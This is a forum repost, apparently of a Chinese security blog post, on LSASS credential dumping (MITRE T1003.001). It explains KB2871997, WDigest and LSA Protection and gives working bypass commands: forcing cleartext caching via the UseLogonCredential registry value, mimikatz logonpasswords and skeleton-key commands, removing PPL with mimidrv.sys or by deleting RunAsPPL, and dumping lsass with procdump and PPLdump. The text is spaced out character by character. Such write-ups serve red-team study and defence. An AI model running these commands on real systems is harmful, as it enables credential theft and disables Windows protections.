搜索

[2071] 2021-06-27_浅析T1003.001—KB2871997&LSAProtection

文档创建者：s7ckTeam
浏览次数：0
最后更新：2025-01-16
2021-06-27_浅析T1003.001—KB2871997&LSAProtection 浅 析   T 1 0 0 3 . 0 0 1 — K B 2 8 7 1 9 9 7 & L S A   P r o t e c t i o n 原 创   d o n 9   d o n 9 s e c   2 0 2 1 - 0 6 - 2 7 目 录 ： D e b u g   P r i v i l e g e   明 文 凭 证 保 护   &   P P L 技 术 K B 2 8 7 1 9 9 7 L S A   P r o t e c t i o n L S A   P r o t e c t i o n   验 证 及 绕 过 姿 势 m i m i k a t z   +   m i n i d r v . s y s 删 除 R u n A s P P L 注 册 表 项 & 重 启 U s e r l a n d   漏 洞 漏 洞 利 用   （ 绕 过 P P L ） P P L d u m p m i m i k a t z   D e b u g   P r i v i l e g e 本 文 测 试 环 境 Q A Q ： 是 否 拥 有 d e b u g 权 限 原 因 : #   D e b u g   P r i v i l e g e 进 行 d u m p 凭 证 时 需 要 获 取 调 试 权 限
详 见 :     h t t p : / / m s d n . m i s c r o s o f t . c o m / l i b r a r y / w i n d o w s / h a r d w a r e / f f 5 4 1 5 2 8 . a s p x 原 理 ：               调 试 权 限 允 许 用 户 调 试 他 们 原 本 无 权 访 问 的 进 程 。 例 如 ， 以 在 其 令 牌 上 启 用 调 试 权 限 的 用 户 身 份 运 行 的 进 程 可 以 调 试 作 为 本 地 系 统 运 行 的 服 务 。 明 文 凭 证 保 护 明 文 凭 证 保 护 & P P L 技 术 技 术 Q A Q ： 无 法 d u m p 明 文 凭 证 可 能 原 因 ： K B 2 8 7 1 9 9 7 L S A   P r o t e c t i o n K B 2 8 7 1 9 9 7 m i m i k a t z   #   p r i v i l e g e : : d e b u g   ( 提 升 权 限 ) P r i v i l e g e   ' 2 0 '   O K m i m i k a t z   #   s e k u r l s a : : l o g o n p a s s w o r d s   ( 抓 取 明 文 密 码 和   h a s h )  
详 见 ： h t t p s : / / m s r c - b l o g . m i c r o s o f t . c o m / 2 0 1 4 / 0 6 / 0 5 / a n - o v e r v i e w - o f - k b 2 8 7 1 9 9 7 / 原 理 ：             更 新 K B 2 8 7 1 9 9 7 补 丁 后 ， 可 禁 用 W d i g e s t   A u t h 强 制 系 统 的 内 存 不 保 存 明 文 口 令 ， 此 时 m i m i k a t z 均 无 法 获 得 系 统 的 明 文 口 令 。             但 是 其 他 一 些 系 统 服 务 ( 如 I I S 的 S S O 身 份 验 证 ) 在 运 行 的 过 程 中 需 要 W d i g e s t   A u t h 开 启 ， 所 以 补 丁 采 取 了 折 中 的 办 法 — — 安 装 补 丁 后 可 选 择 是 否 禁 用 W d i g e s t A u t h 。 当 然 ， 如 果 启 用 W d i g e s t   A u t h ， 内 存 中 还 是 会 保 存 系 统 的 明 文 口 令 。 所 支 持 的 系 统 ： W i n d o w s   7 W i n d o w s   8 W i n d o w s   8 . 1 W i n d o w s   S e r v e r   2 0 0 8 W i n d o w s   S e r v e r   2 0 1 2 W i n d o w s   S e r v e r   2 0 1 2 R   2 但 是 这 里 测 试 发 现 并 非 补 丁 的 问 题 图 1 图 2 （ 这 才 是 原 因 - 根 本 就 没 有 这 个 键 值 ） r e g   q u e r y   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l
创 建 一 个 图 1 - 成 功 添 加 并 设 键 值 为   0 图 2 同 样 的 方 式 ， 将 U s e L o g o n C r e d e n t i a l 的 值 设 为 1 然 后 注 销 当 前 用 户 ， 用 户 再 次 登 录 后 使 用 m i m i k a t z 即 可 导 出 明 文 凭 证 。 如 图 ： #   关 闭 W d i g e s t   A u t h r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   0   / f #   开 启 W d i g e s t   A u t h r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f                               #   开 启 W d i g e s t   A u t h r e g   a d d   H K L M S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l S e c u r i t y P r o v i d e r s W D i g e s t   / v   U s e L o g o n C r e d e n t i a l   / t   R E G _ D W O R D   / d   1   / f
L S A   保 护 保 护 详 见 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / e n - u s / w i n d o w s - s e r v e r / s e c u r i t y / c r e d e n t i a l s - p r o t e c t i o n - a n d - m a n a g e m e n t / c o n f i g u r i n g - a d d i t i o n a l - l s a - p r o t e c t i o n 原 理 ：               如 果 启 用 了   L S A   保 护 ， 则 无 法 调 试 自 定 义   L S A   插 件 。 如 果 调 试 程 序 是 受 保 护 的 进 程 ， 则 不 能 将 调 试 程 序 附 加 它 。 一 般 情 况 下 ， 不 支 持 调 试 正 在 运 行 的 受 保 护 进 程 。             此 功 能 基 于 P P L 技 术 ， 它 是 一 种 纵 深 防 御 的 安 全 功 能 ， 旨 在 “ 防 止 非 管 理 员 非 P P L 进 程 通 过 打 开 进 程 之 类 的 函 数 篡 改 P P L 进 程 的 代 码 和 数 据 ” 。 适 用 系 统 W i n d o w s   S e r v e r   ( S e m i - A n n u a l   C h a n n e l ) , W i n d o w s   S e r v e r   2 0 1 2   R 2 W i n d o w s   S e r v e r   2 0 1 6 启 启 用 用   L S A   保 保 护 护 打 开 注 册 表 编 辑 器   ( R e g E d i t . e x e ) ， 然 后 导 航 到 位 于 以 下 位 置 的 注 册 表 项 ： 将 注 册 表 项 的 值 设 置 为 ： " R u n A s P P L " = d w o r d : 0 0 0 0 0 0 0 1 重 新 启 动 计 算 机 L S A   P r o t e c t i o n   验 证 及 绕 过 姿 势 验 证 及 绕 过 姿 势 测 试 如 下 ： 0 . 测 试 环 境 w i n v e r H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a
可 d u m p 明 文 凭 证 U s e L o g o n C r e d e n t i a l   =   1 1 .   配 置   L S A   P r o t e c t i o n 注 册 表 位 置 ： 新 建 - D W O R D （ 3 2 ） 值 H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a 名 称 :   R u n A s P P L     值 ： 0 0 0 0 0 0 0 1
然 后 重 启 系 统 。 2 .   成 功 阻 止 了 与 L S A S S 的 交 互 3 . 绕 过     L S A   P r o t e c t i o n 使 用 驱 动 程 序 绕 过 m i n i k a t z   +   m i n i d r v . s y s P P L K i l l e r 删 除 R u n A s P P L 注 册 表 项 & 重 启 修 改 E P R O C E S S 内 核 结 构 ， 在 L S A S S 进 程 禁 用 P P L 标 志 U s e r l a n d   漏 洞 漏 洞 利 用   （ 绕 过 P P L ） P P L d u m p . . . . . . m i n i k a t z   +   m i n i d r v . s y s 删 除 删 除 R u n A s P P L 注 册 表 项 注 册 表 项 & 重 启 重 启 m i m i k a t z   #   p r i v i l e g e : : d e b u g   ( 提 升 权 限 ) P r i v i l e g e   ' 2 0 '   O K m i m i k a t z   #   s e k u r l s a : : l o g o n p a s s w o r d s m i m i k a t z   #   m i s c : : s k e l e t o n p r i v i l e g e : : d e b u g ! + ! p r o c e s s p r o t e c t   / p r o c e s s : l s a s s . e x e   / r e m o v e m i s c : : s k e l e t o n r e g   q u e r y   H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a   / v   R u n A s P P L r e g   d e l e t e   H K E Y _ L O C A L _ M A C H I N E S Y S T E M C u r r e n t C o n t r o l S e t C o n t r o l L s a   / v   R u n A s P P L
U s e r l a n d   漏 洞 漏 洞 利 用 漏 洞 漏 洞 利 用   （ 绕 过 （ 绕 过 P P L ） ） 成 功 b y p a s s   l s a   p r o t e c t i o n 。 p r o c d u m p 6 4   - m a     l s a s s   l s a s s . d m p P P L d u m p 6 4 . e x e   - v   l s a s s   l s a s s . d m p m i m i k a t z   #   s e k u r l s a : : m i n i d u m p   l s a s s . d m p m i m i k a t z   #   s e k u r l s a : : l o g o n P a s s w o r d s   f u l l
参 考 及 推 荐 文 章 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / h t t p s : / / b l o g . s c r t . c h / 2 0 2 1 / 0 4 / 2 2 / b y p a s s i n g - l s a - p r o t e c t i o n - i n - u s e r l a n d / h t t p s : / / w w w . r e d c u r s o r . c o m . a u / b l o g / b y p a s s i n g - l s a - p r o t e c t i o n - a k a - p r o t e c t e d - p r o c e s s - l i g h t - w i t h o u t - m i m i k a t z - o n - w i n d o w s - 1 0
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理